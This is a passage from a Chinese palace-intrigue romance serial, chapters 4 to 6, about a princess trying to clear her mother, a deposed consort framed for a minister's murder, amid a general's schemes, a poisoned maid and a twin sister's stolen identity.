《被害后误收编心机绿茶真凶》
4. 劫之不为为救之
不,不是沈!
来人身披墨甲,摘下假面,是张陌生的脸。
他神色恹恹:“因为她是您的孩子,姬存娘娘。”
什么?!孩子!
孤山千灵脸色煞白,震惊地看向姬存。
“公主,在下乃阙天处统领,厉。”厉来到她面前解开红绳。
“滚开——”姬存强撑着冲上来,将刀尖对准厉。
她吼道:“你们这群禧宁王府的走狗!谁也不能伤害灵儿,谁也不能伤害本宫的灵儿!本宫要带灵儿一起逃……”
“姬存娘娘,还请您跟在下回去。”厉打掉小刀,听若未闻。
“回去?回到天牢里,任由你们拿灵儿的性命来威胁本宫去帮禧宁王府顶罪吗?”
此话一出,孤山千灵脸色忽变。
“本宫未曾谋害户部的周辅恩,禧宁王府阻止本宫面圣,你们凭什么抓着三两无稽之物就来抓本宫!呵,更不提老天开眼,灵儿才刚捡回一条命,你们便来威胁本宫!”
姬存口吐鲜血,仿若连命也要当作冤屈呕出来才痛快。
“皇上口谕未下,你们这群与禧宁福晋蛇鼠一窝的腌臜,怎敢拿本宫当替罪羔羊!”
她噙着泪,声嘶力竭:“本宫掌六宫事,乃堂堂贵妃!!”
前不久,惊雨夜,姬存一个出身乐伎的小小贵人莫名被连升了贵妃。
众人何曾见过姬存这副模样,饶是将将反应过来的孤山千灵也不敢动,哪知此时,竟来了一道尖细的声音划破僵局。
“圣、旨、到──”
话音刚落,众人纷纷变了脸色,唯独姬存眼里却浮起一线希望。
“奉天承运,皇帝诏曰:朕惟贵妃贤良淑德,秀外慧中。然今贵妃姬存宫闱失德,扰乱朝纲,谋害朝中重臣,是大不敬宗庙社稷,难为天下女子之表率。
今朕念及昔日情谊,特免去死罪,罢其贵妃之位,褫夺六宫之权,钦此。”
此话宛若睛天霹雳,姬存“咚地”一声坐倒在地:“不可能!”
“绝不可能!”她嘶吼着,双目慌乱,恍如死水前的最后一丝沸腾,“一定是你们,一定是你们见本宫要带着灵儿逃离,怕诡计泄露,功亏一篑,便联合禧宁福晋在皇帝面前诬陷本宫!”
“母妃……”孤山千灵不忍,挪着步子向前。
厉见此:“姬存,废话少说。你已不再是贵妃,若不速速跟我们归去,那便休要怪我们动手了。”
“你们!”孤山千灵怒目一瞪,强忍愠气,“我母妃虽被夺了妃位,可你们拿不出实打实的证据就敢来抓人,是妄图屈打成招吗?”
厉面无表情:“回公主,从阙天处到天牢的提审,严明磊落,天子脚下没有白白吃冤的道理。”
“我们在汐月殿搜出了带血的特贡玉壶,此玉壶乃澹州刺史赵窦赵大人所贡,取岭峰山之崖,集百匠,侯千时而琢。皇上特以此置户部,以集金银,聚财宝,增益国运龙息。”
“而户部尚书周大人正是被钝物重击所伤。”
孤山千灵脸色一僵,气势弱了几分。
“除此以外,还有侍女阿吾出面揭发,乃亲眼为见。如今人证物证俱在,姬存你有何狡辩?!”厉眸中寒光闪过。
“不是本宫杀的,不是本宫杀的!”
姬存见侍卫们就要来抓自己,一激灵,连忙爬向孤山千灵。
她此副狼狈的模样生生刺痛了孤山千灵:“母妃……”
孤山千灵欲伸手去扶起姬存,可姬存却紧紧抓住她的裙角不放。
姬存摇起头,神色慌乱又疑惑,重复着自语:“皇上明明……”
她不可置信地微张着嘴,双手插进乱发,疯了似摇头:“答应过会查清此事,放本宫出去的呀,皇上明明答应过会查清此事,放本宫出去的呀,皇上明明……”
“母妃!”孤山千灵蹲下,猛地抓住她双手,泪水盈满眼眶。
姬存直勾勾盯着孤山千灵,自嘲地笑出声,一下脱力,颓然倒在孤山千灵怀里:“灵儿,我们逃不掉的,母妃会拿自己的命换你的命……”
“母妃,你在说什么傻话?”小心翼翼的手终于搂紧怀中人,孤山千灵看着她,连心同悲。
姬存涕泗横流,貌容早不复往日风华,泛红的眼里只剩无边悲痛与哀怜:“可怜本宫再怎么挣扎,也终究是别人手中的一颗棋!”
她睁眼看着洞顶,入目一片灰蒙,恍若入宫前夜的那顶破帐子。
那时的她年十四,一个小乐伎,只因贪玩掉了队,便被三皇子捂昏拖进封庙。
那夜,她强忍剧痛,任身旁的皇戚子弟们如何哄笑,只敢望着上方肮脏破烂的帐顶。
自那夜后,她以秀女身份入了三皇子阁门。
站在手拿绢花的秀女队伍里,她不知,她该笑吗?
也许该的,因为其实乐伎皆羡慕她能当主子了;也许不该的,因为她心里实在是痛,比那夜还痛。
咳出的血汩汩流出,染红了大片华裳:“本宫自入宫后,受尽冷眼听尽嘲讽,无一日安生。本以为灵儿出生,日子便终于有些慰籍了,谁知他们连灵儿也要抢去!本以为被连封妃位,日子终于熬出头了,谁知一切不过是场早就设计好的圈套。”
姬存闭上眼,埋进孤山千灵怀里,闷声落泪:“宁郎啊宁郎,你午夜梦回时,就不会怕吗!”
孤山千灵心头酸涩,自觉落下的泪灼烫着皮肤,她很想说些什么,可刚开口,喉咙便被哽住,怎么也发不出声。
“母妃,母……”
她拼命发出声音,正试图推开母妃,却发现怀中人已然晕了过去。
“母妃!”
她骤然摇起姬存的肩膀,任由泪水决堤,化作尖刃剜过抽痛的心脏。
“母妃——”
“公主……”厉命人扯走孤山千灵怀中的姬存。
孤山千灵想用力拽住姬存,可纵使手指被掰得发白,也只得眼睁睁看着姬存被拖走。
她跌靠在石壁上,恍惚被抽了魂魄。
“唉……”宣旨的公公看了眼孤山千灵,无奈叹息:“户部的周大人乃前朝重臣,他的死,皇上难以容忍。”
“母妃宁死也不认罪,父皇当真就认定了真凶身份吗?”
“公主!”
此话一出,孤山千灵似大梦初醒般反应过来,她也不知是怎么了,竟敢如此自然地说出此番质疑。
难道是自己的心里话吗……
孤山千灵死水般麻木的眼神里起了丝波澜。
公公低声忙道:“公主慎言!”
“……”
孤山千灵咬着牙,愤愤眼前。
“多谢公公。”
愤怆划落,风干出一片泪痕。
*
“公主,去哪?”
“千灵公主!小心——”
孤月高悬,孤山千灵二话没说,一股劲捡起红绳冲出山洞,以掩耳不及盗铃之势,用力将红绳甩向押着姬存的几个待卫。
孤山千灵倾身赶上,揽住姬存就近上了一匹马,策马扬鞭,红绳甩在空中,格外清脆。
马儿痛地仰首长吁,撒开蹄子便跑。
“追!”众人反应过来,在厉的命令下即刻上马。
而厉盯着队伍中的马,缓缓上前。
夜黑风高,马蹄声纷纷沓沓,一双桃花眼在乱影中凝起令人胆颤的寒光,他死盯着前方,从追兵中缓缓后退。
“沈将军。”马尾碰上厉的马头,沈自寒从厉手中取过自己的银制假面。
“驾!”他从马背上跃起,拔剑砍掉前面几个待卫的头颅。
“真挡道。”血腥味浊染了空气,白骨被踩碎的声音骤响。
众兵回首,但见少年面覆银具,骑马破开人群,势不可挡。
孤山千灵几次回望,她听见姬存气若游丝的笑声:“灵儿,母妃还能撑住,母,母妃再也不要和你分离……”
树曳枝动,寒鸦惊飞,沈自寒飞身落在眼前。
“吁——”马儿被拦停,孤山千灵瞧见沈自寒手中的剑,正沾着红血连串滴下。
“厉统领,别来无恙。”
孤山千灵握紧红绳,坚毅的眼神里透着丝来即必杀的狠劲。
沈自寒嘴角微勾:“此话该当是在下问公主才对,我们好心前来营救,公主怎么倒挟罪人以逃呢?”
“罪人?哪门子的罪人?”
孤山千灵讥讽着,将红绳的一端缠在手腕上绕了几圈。
沈自寒耐心又好脾气地解释:“残害忠良之罪,纵火劫人之罪。”
“呵,欲加之罪,何患无辞!”
孤山千灵手握红绳用力甩向沈自寒。
烈风冲开气流劈来,沈自寒微微一笑,旋身窜起,脚踩竹枝,三步踏上松顶。
袖裾翩翩,鸦声唳鸣,他收身无迹,余却墨丝扬风飘散。
孤山千灵不甘,又朝沈自寒击去,“啪地”一声,红绳落地,挑起无数残叶杂草。
红绳绞住沈自寒的剑,尘土飞扬,她露出个得意的笑:“捉住了。”
“是么?”缠在手上的几圈红绳徒然收紧,孤山千灵神色惊变,连忙扯住这端。
红绳在空中绷直,身后传来整齐的马蹄声,孤山千灵下意识转头。
不料对面一个放手,缠着红绳的剑登时缩回来,险些将她弹出马背。
眼看侍卫们即将追上来,孤山千灵后仰,顺势将红绳用力甩了个大圈。
正当被红绳缠住的剑刺向沈自寒时,一声闷哼响起。
那端,顺着剑渡过红绳的怪力宛若一只从深渊伸出的大手,直接将孤山千灵扯过来。
“灵儿!灵……”姬存见孤山千灵被扯走,眼皮越来越重,细微的呼喊逐渐被马蹄声掩盖。
天际吐白,风尘石沙被第一缕日光刺散,孤山千灵跌入沈自寒怀中。
“母,母妃……”扑鼻而来的迷香让她没了挣扎的力气。
姬存被押进囚车,枷锁扣上的声音在孤山千灵心中掉了个响。
泪水再也忍不住。
“真傻,逃什么呢,只有心虚的人才想逃,敢说自己是蒙冤的,皇上信吗?”假面另一侧响起清朗的声音,隐隐掺着桃花香。
孤山千灵下意识怀疑自己死头临头,出现幻觉了。
可在她双手垂坠之际,半枚晃眼的腰佩荡入眸中,分外眼熟……
马一匹接一匹地调过头,厉从队尾现身:“且不说能如此快的反应过来凶手是谁,就说这一石二鸟之计,当真精妙。”
时至晨晖,天光大亮。
“像沈将军这般人才,能主动投诚,真乃大京的福气。”
“多谢厉统领的默使。”沈自寒摘下面具,清俊明秀的模样让人想起他不过弱冠:“良禽择木而栖,贤臣择主而事,厉统领说笑了。”
“沈将军……”厉顿了顿,不由笑出声“还真是聪慧啊。”
沈自寒报以微笑,就如他的回答那般滴水不漏。他听出厉这段话里藏着替皇帝或试探,或监视的意味,这不重要。
重要的是“姬存杀害周辅恩”牵扯多方势力,他戴上假面:
一“石”,可借阙天处待卫之名抓住替罪羊姬存,救下孤山千灵。
另一“石”,可解决皇帝不想让孤山千灵靠近姬存的忧虑。
皇帝的话犹在耳旁,沈自寒低头看着孤山千灵,嘴角不自觉上扬起来。
他可不想让孤山千灵恨上自己。
*
正午,栖瑶殿。
“公主!公主!!”
耳边再次传来熟悉且急促的呼唤,孤山千灵醒过来,一阵疼痛席卷全身。
“嘶——”,她合上眼皮,待终于呼出口凉气后,才又缓缓睁开。
孤山千灵动了
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动干涩的唇瓣,茫然的眼神胡乱看向周围。
好一阵后,又敛了目光,只剩沉默。
“公主,您浑身都湿透了,多亏沈将军搭救,才没染上风寒。”小圆将茶递到孤山千灵身前。
没染上风寒吗?
可她为什么,好冷。
孤山千灵拿起茶杯,用指腹摩挲着壁上的纹路,光圈游走在杯沿上,她用力一摔,完好的瓷杯便在地上碎得四分五裂。
“公主!”小圆冲上前抽出丝绢,她小心地擦起白千灵的手,委屈的泪水连串掉下。
瓷片咔嗒咔嗒的碰撞出声响,明明就在脚边,可为何,为何自己却什么也感受不到。
孤山千灵沉默着端坐在榻沿,谁也没曾想她竟一时间站起来,破出人群就要向外冲。
“公主!”殿门被用力推开,向两边来回翕动。
孤山千灵停下脚步,手僵在半空。
“公,主?”小圆等宫侍愣在原地,皆欲动不动。
好几日凉风终于有了暖意,单薄的身子透着阳光,孤山千灵垂下悬在空中的手,一双杏眸微漾。
“公主醒了,不如来喝点粥吧。”
石阶下,沈自寒转过身来,粲然一笑。
沈,沈将……!
孤山千灵整个人被惊得定住。
栖瑶殿的门大敞着,近在眼前,她下意识想说出那个“不"字,可话到嘴边却被打断。
“想要面圣申冤,也得先吃饱才有力气。”
热粥飘旋上一串白雾,沈自寒的笑赛过三月初春……
恰如此刻,暖风拂过。
她几乎忘了后来两条腿是怎么自愿走回殿内的,只记得温热的瓷勺触到唇瓣。
“烫!”她抬眸看向沈自寒,一张俊美又委屈的脸生生摆在眼前,还是扬着个不值钱的笑。
也不知是怎么了,孤山千灵这下竟也被呛出个笑来。
她红了耳根。
对面像是感应到什么,又向孤山千灵靠了靠。
小圆踏出一步,双手交叠着兜在腹前,像是想将那颗不安的心给牢牢兜住,“公主,您身子本就弱,这会儿又淋了雨,太医劝您还是休息几日为好。”
孤山千灵想起昨夜之事:“可!”
“下官已向皇上请示再度彻查此案,公主想来可以安心休息了。”沈自寒搅着碗里的热粥,认真地看向孤山千灵。
“沈将军……”看着看着,孤山千灵忽然觉得这样动情的目光有些刺眼。
她似是想起什么,隔开距离,怀疑地冷声问:“昨夜去哪了?”
“嗯?”沈自寒神色一动,仍笑着,“去抓纵火犯了。”
孤山千灵心下忽变。
“可惜,抓错了。”俊逸的眉眼间染上几分忧愁,沈自寒无奈道:“下官去天牢前转了一圈,自作聪明地以为猜到了,不曾想人家早已躺在家中呼呼大睡。”
“啊?哦。”孤山千灵应着,松了口气,她本以为自己想多了,可即刻又反应过来:“那你的镜佩为何……”
“丢了,沐浴时丢的,正找着呢,指不清是哪个宫女太监偷的。真难懂,都闯进下官的浴池了,竟不觊觎下官的身体,反去觊觎一块腰坠?”话音未落,沈自寒接道,声音莫名其妙地蕴了几分醋意。
“嗯……”孤山千灵思索着,一语难言的表情变成个奇异的笑。
“嘶,也许沈将军这通身气派里……”她尾音拖得绵长:“就数那块坠子最值钱?”
众人爆发出一片笑声。
沈自寒微勾唇角,冷不丁来了声:“公主这样问,难道看见了下官的镜佩?”
孤山千灵一惊,顿时汗毛竖立,她知道自己认错人了,心想:
难道厉才是偷走镜坠的小贼,可为什么呢?厉跟沈自寒又打不到一杆子去。
她心中一团乱麻,觉得现下不是个说出来的好时机。于是,支支吾吾道:“其实我,我也觉得你那坠子挺值钱的。”
“是吗?那我赶日送给公主可好?”
这话仿若蒲公英的绒毛,轻荡于两人之间,只有孤山千灵能听见。
她握紧掌心,犹豫着借口将宫女们打发出去,洋忙转移话题:“这,这是你第三次帮我,为……”
“为什么?嘶,也许是因为下官……”
沈自寒夺过话头,故作神秘地伏至孤山千灵耳旁。
“喜欢公主!”
此话一出,孤山千灵的小脸登时红起来。
“喜欢我?”
她用手指着自己,怀疑是不是听错了。
“公主,信吗?”沈自寒饶有兴味的打量着孤山千灵,缓缓吐出最后几个字。
“你,你竟敢!”孤山千灵小脸涨红,气鼓鼓的声音不知为何又弱下去,“逗本公主……”
“本公主要砍你的!”
浓郁的米香再度凑到面前,孤山千灵被气得说不出话,一时竟像只赌气的小野猫,分外不服输似,狠狠咬住勺子不松开。
沈自寒嘴角笑意更浓,他眉眼弯弯,温柔又耐心地一下一下喂着粥。
暖意顺着喉咙,流经心田,孤山千灵乖巧地配合着沈自寒动作。
如此情景让她不觉恍惚,孤山千灵顿了顿,又拭了拭嘴角,叫小圆进来:“皇上那仍是没有消息吗?”
“回公主,没……”小圆小心翼翼地答道。
“知道了。”孤山千灵强颜欢笑起来,“我们先打点些银子送去天牢吧。”
银子是今早叫小圆姨娘出宫换来的。将这些靠着狄夷首饰与狄夷华服换来的银子送给牢,一时半会,总还是能保母妃平安的。
待小圆退出去后,孤山千灵抬手揉了揉额角,阖上眼皮。
“人证物证具在……”孤山千灵想起昨夜厉告诉自己的话,正灵光一闪。
沈自寒打断:
“公主,可知阿吾?”
5. 真假难辨今曾见
“公主……”阙天处的小阁里,孤山千灵眼前坐着个正低头的女子。
孤山千灵拉开凳子,顶上徒然变大的白光刺得她眼晴生痛。
模糊中,她听见阿吾道:“奴婢看见了,亲眼目睹,贵妃举起玉壶砸向周大人。”
“什么?”孤山千灵没想到对方如此直白,她试着完全睁开双眼,发现对面坐着的女子仍低着头。
“你,抬起头来。”
阿吾没抬头,自顾自继续道:“当日,奴婢到宫里替禧宁王府给太后送礼,没想到路过户部衙署时,竟听见里面传来一阵异常的动静,像是打斗。可众所周知,户部衙署,除大人们外就是用以存放财政档案,常人等严禁入内,怎会突生事端。奴婢好奇,于是凑上前去,起先只敢隔着门听,后来里面传来一声沉闷的呼喊,奴婢了才悄悄地拉开条小缝。"
阿吾的身形让孤山千灵莫名熟悉,她抬眸看向阿吾。
“我看见周大人倒在血泊中,而贵妃娘娘就站在里面,就站在周大人身前,手捧玉壶……”
阿吾缓缓抬头,只见她上身连到鼻梁处皆裹着一层棕布。在对上那双眼晴的刹那,孤山千灵几乎大声喊出来。
“落水!”孤山千灵紧盯着眼前人,“你是那天落水与我博斗的女奴!”
“公主,奴婢不是什么落水女奴,奴婢名唤阿吾,在禧宁王府当个扫地的差,今日头回进宫。”
孤山千灵站起来:“不对,你就是女奴!”
孤山千灵见她眼色稍有异动,“这一切都是假的,对不对?!”
“什么假的!”阿吾快嘴应道:“奴婢就是阿吾,存贵妃就是杀了周大人!”
“……”
“奴,奴婢没半点假话!”
“……”
“奴,奴婢身子不适,公主得罪了。”
“别走!”孤山千灵语速极快地喊了声,阿吾下意识回过头去,眼前一闪,脸下飕凉。
棕布被扯开,露出她下半张脸上可怕的烫疤。
“你,就是桃花节那日受禧宁小王爷指使,与我博斗的女奴!”孤山千灵阴着脸,一时间吓得阿吾也有些无措。
阿吾捂脸,慌不择路地冲开房门。
孤山千灵见状,连忙追去。
两道身影从眼前闪过,阙天处新任掌事官,司阙郎——柳榴神情淡漠,悠悠看向身旁的沈自寒。
“禧宁王府找的人,看来不妥。”
沈自寒侧头,对上柳榴的目光:
按理说,禧宁福晋安排的这个新奴婢——阿吾,应当是禧宁王府上奇丑无比,又鲜有人见的才对,不可能出错……
他皱了下眉,无言,匆匆飞身追上檐顶。
檐顶,孤山千灵对阿吾穷追不舍。
她一鼓作气,蹦起个大跳翻身于前,却在右手臂即将碰到阿吾的刹那,被阿吾忽然伸出右肩后侧的左手握住。
就在阿吾欲压下身,用力一拉,将人拽着翻来前面之时,孤山千灵左手臂绕过阿吾的脖子向后绞。
阿吾瞬间松开左手,谁料孤山千灵立马用脱困的右手击向她胸口。
阿吾猝不及防挨了孤山千灵一掌,身子猛然向后退。
千钧一发之际,她左脚勾住檐上的金兽像,右脚刹定,稳住身子。
她作怪地看了眼孤山千灵,没想继续僵持,迅速转身跳上对面内墙。
孤山千灵急忙跟去,一时间,两人再度对打起来。
阿吾踢向孤山千灵,孤山千灵闪身一侧,反手戳去剑指:“你究终有何阴谋?”
阿吾侧头躲过:“我没有阴谋。”
“那你跑什么?”孤山千灵将剑指收回眸角。
“说!”
“……”
阿吾不言,欲弹身而逃,却被手急眼快的孤山千灵一把拉下。
“够了!”阿吾伸拳,重重打在孤山千灵胸口上:“我只是遵主人之言办事而已。”
她皱眉瞥了眼孤山千灵:
“公主,得罪了。”
“你,别走!”
孤山千灵捂着胸口,直起腰道。
金砖红瓦,叶惊枝颤,两只雀从地上追到地下,从檐顶飞到梢头,从你方青瓦闪到我方白砖。
这一主子追奴子的场景,可真是让殿前,廊中的宫女、侍仆们开了眼。
遥遥望去,更见两人逐渐消失于禧宁王府前。
“你主人是谁?何人要害我母妃?”孤山千灵挡回突如其来的一掌,只听得阿吾咬牙切齿道:“真是固执!"
“啊!”强烈的气流从胸前击来,孤山千灵口吐鲜血。
她看着阿吾不屑的背影,心生不甘,于是不顾三七二十一,踉跄着再度跟上。
孤山千灵轻巧落地,拧眉不爽,她绕视四周,入目之处皆为楼阁亭台。
一时被困在禧宁府内失了方向,她只得硬着头皮探路。
圆日昏黄,赤红当映,静谧的院落里霞光流转,角隅皆簇拥着四色树冠。须臾,寒气化烟,堪堪薄雾间竟闪过一瞬青光。
“在那!”
孤山千灵拔腿追去。
衣诀翩翩,拂过墙角,惊得枝条娇花碎纸云尘。
孤山千灵见青光消失,喘着气停下,她抬眼,看到一座嵌着花窗的精巧厢阁。
阿吾难道躲在里面?
孤山千灵疑惑着靠近厢阁,树叶曳动,她发现那花窗上似乎停了只五彩斑斓的小雀儿。
一路跟来,孤山千灵记得自己并未听见有鸟类啼叫。正疑惑着,眨眼,青光再次闪过……
那花窗上的小雀儿竟蓦地消失了。
孤山千灵顿住,猛然冲至殿门前,却见雀影缘窗飞壁。
里面有人!
她推开殿门,不想映入眼帘的只有一尊镶金玉雕双面绣。
薄薄的蚕丝上,正面绣着麻雀,反面绣着凤凰,金丝勾银丝,你中有我,我中有你,幻真幻假,栩栩如生。
孤山千灵皱眉,回头望向花窗,才发现压根没有什么小雀儿……
“你是何人,竟敢擅闯禧宁王府!”
惊!孤山千灵转身,但见一袭萸紫华裳僵僵立于眼前。
“我是宫里的千灵公主。”
孤山千灵打量起女子,总觉得她与阿吾有几分道不明的相像。
“今日有事拜访阙天处,一时迷路,误闯此处。”
“千灵公主?”女子一改前态,似笑也不似,“那位害我弟弟被伤的公主?”
孤山千灵的嘴唇微微张口,紧张道:“我……”
“伤得好,他生性跋扈,早该给点教训了。”女子打断,语气得体。
她谦卑道:“民女单名一个‘芜’,太后的亲侄女,生母乃禧宁福晋。敢问公主何事,兴许民女能献上微薄之力?”
“寻个名唤阿吾的婢女罢。”孤山千灵道:“就不劳禧宁小姐费心了。”
“阿吾?”禧宁芜神色微变。
“民女回府不久,昨夜曾清点过丫鬟下人的名目,记得自己并未见过这个名字啊。”她自从被特地宣入宫中陪伴太后以来,便鲜少回禧宁王府。
“没有这个名字?”孤山千灵微怔,“禧宁小姐会不会记错了?”
“不会的,民女习舞,记忆力自幼不错,且不说对动作、音律等记得极快,就说这单单几个名字,还是昨夜才清点过的。”禧宁芜认真道。
闻言,孤山千灵心生不妥。
她想着“阿吾”的身份绝没有那么简单,于是便对禧宁芜匆匆告辞。
“竟如此,说来好笑,那人长得与禧宁小姐还有几分相像,真是多扰了。”
话毕,禧宁芜眉头一紧。
在确认孤山千灵离开后,她连忙吩咐丫鬟前来。
“去年,城郊的宅子失火,你可还记得?”禧宁芜紧紧盯着丫鬟。
“回小姐,记得,那场火可真大,将宅子都烧尽了。"
将宅子都烧尽了……
禧宁芜的眼神似毒蛇般隐匿在光影交错间,紧缠着又欢跃于花窗上的小雀儿。
那,她呢……
可也烧了个干干净净?
*
殿外,孤山千灵突然想起母妃的一句话
——皇上口谕未下,你们这群与禧宁福晋蛇鼠一窝的腌臜,怎敢拿本宫当替罪羔羊!
她背后一寒。
“这阿吾,到底是禧宁王府的人……”
正思忖着,脚下不觉加快,忽然,一道清幽绵长的琴声传来,孤山千灵脸色骤变,放缓脚步。
穿过回廊,拨开繁叶,她见这舞阁后的大树下竟躲着个背影。
待看清那人的脸后,孤山千灵愣了一秒,勾起唇角。
她随手摘了片叶子,折出剑式。
“咻——”叶子飞着擦过,几滴血珠在孤山千灵眼中分明飘出,可明明只是额角被划破,眼前人却轰地倒下。
“不对!”孤山千灵反应过来,迅速侧身。
回头,一支利箭狠狠插在身后的木柱上。
孤山千灵急忙来到那人身前。
阿吾目光一顿,艰涩启唇:“是散骨毒,救,救我!”
话毕,未及孤山千灵开口,阿吾便两眼一闭,昏了过去。
见状,孤山千灵呼吸微滞,她看了看向木柱上的利箭,打算将阿吾带回去。
正当她准备扶起阿吾时,两道男女分明的声音齐齐响起:“公主。”
孤山千灵抬头看向前来的两人:““沈将军,柳阙郎,这阿吾曾受命于禧宁小王爷与我博斗,想必身份有误。”
“博斗?”柳榴不解。
“是桃花节那日落水。”沈自寒抢答道,声音不如往常欣然。
“桃花节那日,不就是亦寒你负伤那……”柳榴声音少有起伏,脸色显然暗了几分。
沈自寒见此,脱口打断:“此人如今受了重伤,不如先带她回宫,等醒来后再细细盘问?”没曾想与孤山千灵异口同声
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。
孤山千灵悄悄看了眼沈自寒,见他仍是挂着张笑脸,并无波澜。
目光又转到柳榴脸上,她其实注意到了柳榴的变化。
孤山千灵背手,悄悄贴近沈自寒,故意往他后腰掐了一把,又装乖弹向柳榴身旁:“柳阙郎,你看怎么样啊?”
柳榴:“倘若被人发现我们私自将禧宁王府的人藏在宫里头,作何解释?”
孤山千灵看向沈自寒,却见他一脸纯真无害,丝毫不受影响:“在下有处空宅,置于城郊,倒不介意借给阿吾姑娘养伤,只是在下与柳阙郎公务缠身,那邻院老太又常来偷李子,那便……”
他突然玩味似地看向孤山千灵,眸子晶亮,让孤山千灵莫名有种偷鸡不成蚀把米的害怕感。
“要劳烦公主搬块板凳坐于门前,好好‘掐人’了!”
“你!”孤山千灵脸颊一红,又羞又气,“李子遍地,偷了便偷了,沈将军何必如此小气!”
沈自寒恢复一脸人畜无害的模样,委屈又挑衅,道:“可那邻院老太总爱将毒李子偷去市场卖。况且依在下看,公主很有‘掐人’的天赋嘛。”
“沈!”
孤山千灵瞪了他一眼,认输似地点了点,举起手:“本公主宽宏大量,认。”
柳榴叹了口气:“现下也只有这个法子了。”
在她命人将阿吾抬走的同时,孤山千灵与沈自寒聚到那根插着利箭的柱子前。
“这箭上果真沾了散骨毒……”沈自寒拔下利箭,仔细观察。
“什么是散骨毒?”孤山千灵问。
“散骨毒是一种相当少见的毒,由蝎子、蜈蚣、蛇虺、蜂、蜮‘五毒’制成,虽有解却毒性迅猛,中者,有钻心蚀骨之痛。”沈自寒敛了敛笑意,一双眸子黯淡下来,“此毒源于山匪,非常人所能见。”
“可阿吾一介女子,如何会与山匪有联系呢?”孤山千灵百思不得其解。
正当此时,那位常侍禧宁芜左右的丫鬟恰巧从舞阁内走出。
“拜见公主,拜见沈将军,”她恭敬道,眼里全然不觉意外。
沈自寒注意到丫鬟手中披着红布的大玩意,叫住她:“等等,你手里的是何物?”
丫鬟转身停下步子:“回将军,是小姐的古琴落在了舞阁处,特令奴婢来取回。”
孤山千灵的视线落到红布下,虽心中莫名别扭,但还是将人放了。
丫鬟拧过头,后怕地松了口气,夜色渐浓,她看着手中的古琴,加快步子。
穿过小路,流光溢彩的雀影掩映着花窗内的烛光。
“如何?”
禧宁芜的背影立在绣着凤凰面的苏绣上。
“回小姐,您真是聪明,只用琴声一引,便果然将她引到了花阁外的那棵树下。”丫鬟眼里满是掩不住的得意,“还有千灵公主。”
“哼!”禧宁芜不屑地笑了声,“那毒箭呢?”
“回小姐,射中了,奴婢眼睁睁看着她倒下的,必死无疑。”丫鬟眼露凶光,“孤山千灵等人只有给她收尸的份儿。”
“呵,还真是好笑。”
禧宁芜唇角的笑意更深了,她缓缓回身,伸手轻抚过绣面上的凤凰,自语:
“妹妹啊妹妹,你躲得过那场火,躲得过这支箭吗?”
“麻雀是变不成凤凰的。”
因为……
惨落西山的凤凰可比不上偷龙转凤的麻雀啊!
火光中的凤凰隐隐透出麻雀,烛影轻漾,禧宁芜一双深潭似的眸子映出同样的火光。
焰火烈烈,熏得她灰头土脸,那时的她正被逼着跪在灶台前生火。耳边的辱骂与催促照常冲入耳边,可她今日却反常得不想哭了,而是嘴角咧起,笑声再也忍不住。
“狗日的,她怕不是疯了!”
“扫把星,真晦气——”
“难怪都不要她,离远点,离远点!”
郊院的下人们一时皆被这笑吓出了门,只留她自己坐在杂院里,她就这么坐着,笑着,等着,等着日落西山,等着她的孪生妹妹,等着真正的禧宁芜。
等到禧宁芜真的来了,她便趁机一棒子从背后将人打晕。
她换上禧宁芜的华服,手指摸了又摸,仿若幻梦。
这种感觉,我都忘了自己曾经也拥有过……
她又笑了,是对命运的嘲笑。
看着一身粗衣脏布的妹妹,她眉眼盈盈:“从今往后,我是禧宁芜,你是禧宁芙!”
她放开步子,夕阳衔风吹过,无数噩梦般的残影被她抛至身后,最终随着这此宅院一同淹没在火海中。
跑出来后,她大口大口地喘着气,像是终于清醒过来,战栗着回头望去。
火光远远跃上瞳孔,一滴清泪落下。
*
效外,一处宅子内药香四溢。
“她能醒来的机率有多少?”
孤山千灵等人围在阿吾床前,阿吾满头冷汗,表情病苦,裹紧被子躺在榻上。
6. 心泪落引泪生心
“敢问,她能醒来的机率有多少?”
郊外,一处宅子内药香四溢。
柳榴等人围在阿吾床前,见她满头冷汗,神色痛苦。
“回阙郎,还需看个人命数,此毒虽有剜心入髓之痛,却对身强之人危不及命,只是……”
悄悄请来的太医愁眉苦脸:“阿吾姑娘受了伤,乃身弱之人,想必难以挺过来啊。”
“可有别的法子?”
孤山千灵想起与阿吾打斗的场景,语气急切,懊悔又内疚。
“或者,或者旁门左道也行……”
太医沉默了半响:“公主,沈将军,柳阙郎,你们……”
他面色凝重:“可曾听说过药引——心泪?”
“心泪?”孤山千灵眼神亮了,疑惑中燃起意外之喜。
“又名‘心露’,乃极其珍贵的药草。”沈自寒解释道:“传言旧时,仙人无心降雨,被贬下凡,坠荒地而昏,幸遇女子搭救。女子费心俸食,仙人吃喝不愁,无心感受民间疾苦,更认定无需降雨。
直至女子识破仙人真身,跪而求雨,仙人动情,为女子布雨民间,却因擅用仙术惹怒玉帝。
玉帝召龙袭仙,欲让仙人知难而却,奈何仙人有了心,为民为爱为己,不沃不弃。正及仙人欲被咬死之时,女子跪而求仙人却雨。
百姓疾苦入目,仙人不解,终未及荒地复沃便身死龙口。女子心碎而泣,哪知其泪涕零,滋养荒地,生出珍奇药草。”
孤山千灵听得意犹未尽,痴痴接道:“此后,这珍奇药草便名为‘心泪’……”
沈自寒瞧她,偷偷勾起唇角,手指趁机弹向她的脑门。
“嘶,疼!”孤山千灵的手下意识盖住额头,眼尾耷拉,不服气似,委屈又忧怨地瞪向沈自寒。
沈自寒双手一背,得意地扭头看向别处,笑意难藏。
柳榴无视他们的小动作,径直问太医:“您经验丰富,可知何处可寻得此药引?”
太医:“恰于此后山便有!”
他点了点头,一位端着药的小厮闯入:“此药引入药仅一柱香内,老臣就去熬药,还请柳阙郎留下,方便灌下辅药时能按住阿吾姑娘,至于寻‘心泪’……”
“就劳烦公主和沈将军了。”
话落,沈自寒故作自然地戳了戳孤山千灵,孤山千灵正揉着脑门,蓦地回过神:
“那此药在……啊——”
犹未反应,她被沈自寒牵着奔向门外。
点上的香燃起白烟,缕缕盘旋,亦如入夜的山雾,茫茫飘游。
孤山千灵挨近沈自寒,熟悉的桃花香让她分外心安。
她边搜寻着四处,边回味着‘心泪’的故事。
泪落草生……
还真是神奇啊!
正想着,一股异香飘来,勾起她的心思,孤山千灵循香而去。
她分开草丛,只见眼前红花遍野,月光如银泄下,滟滟生艳。
“近在咫尺的药引得来全不费功夫嘛!”孤山千灵欣喜非常。
踩在残叶枯草上的声音一重一轻,一深一浅,匆匆切切,直至看清红花是玄岗石才戛然而止。
孤山千灵才反应过来身边的桃花香已在不知不觉中被异香取代。
